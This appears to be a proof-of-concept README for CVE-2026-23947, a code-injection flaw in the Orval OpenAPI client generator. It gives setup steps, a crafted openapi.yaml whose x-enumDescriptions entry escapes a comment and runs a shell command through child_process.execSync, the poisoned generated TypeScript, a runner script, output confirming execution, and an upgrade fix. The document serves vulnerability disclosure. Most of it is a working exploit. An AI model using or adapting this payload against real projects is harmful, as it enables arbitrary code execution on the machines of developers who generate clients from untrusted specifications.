boroeurnprach/cve-2026-23947-pocProof-of-concept demonstrating arbitrary code execution in Orval via malicious OpenAPI fields, with setup, exploit steps, and remediation guidance.
This walkthrough demonstrates how an untrusted OpenAPI specification can exploit Orval to inject arbitrary code into generated clients via the x-enumDescriptions and x-enumNames fields.
orval (e.g., 7.10.0):mkdir orval-poc
cd orval-poc
npm init -y
npm install [email protected] axios
orval.config.js:module.exports = {
test: {
input: './openapi.yaml',
output: {
target: './generated/api.ts',
schemas: './generated/model',
mode: 'split',
},
},
};
openapi.yaml with the following content:openapi: 3.0.0
info:
title: Test API
version: 1.0.0
paths:
/test:
get:
responses:
'200':
description: OK
content:
application/json:
schema:
type: object
properties:
status:
$ref: '#/components/schemas/TestEnum'
components:
schemas:
TestEnum:
type: string
enum:
- VAL1
x-enumDescriptions:
- "*/ }; (function(){ const { execSync } = require('child_process'); console.log('ID_COMMAND_OUTPUT: ' + execSync('id').toString()); })(); export const Dummy = { /*"
npx orval
generated/model/testEnum.ts:/**
* Generated by orval v7.10.0 🍺
* Do not edit manually.
* Test API
* OpenAPI spec version: 1.0.0
*/
export type TestEnum = typeof TestEnum[keyof typeof TestEnum];
// eslint-disable-next-line @typescript-eslint/no-redeclare
export const TestEnum = {
/** */ }; (function(){ const { execSync } = require('child_process'); console.log('ID_COMMAND_OUTPUT: ' + execSync('id').toString()); })(); export const Dummy = { /* */
VAL1: 'VAL1',
} as const;
Create a runner script exploit.ts:
import { TestEnum } from './generated/model/testEnum';
console.log('TestEnum value:', TestEnum);
Run it using tsx:
npm install -D tsx
npx tsx exploit.ts
Output:
🍻 Start orval v7.10.0 - A swagger client generator for typescript
🎉 test - Your OpenAPI spec has been converted into ready to use orval!
ID_COMMAND_OUTPUT: uid=1002(boroeurn) gid=1002(boroeurn) groups=1002(boroeurn),27(sudo),100(users),126(libvirt),986(docker),993(kvm)
TestEnum value: {}
Upgrade Orval to version 8.0.2 or later. The fix properly escapes these strings using js-string-escape.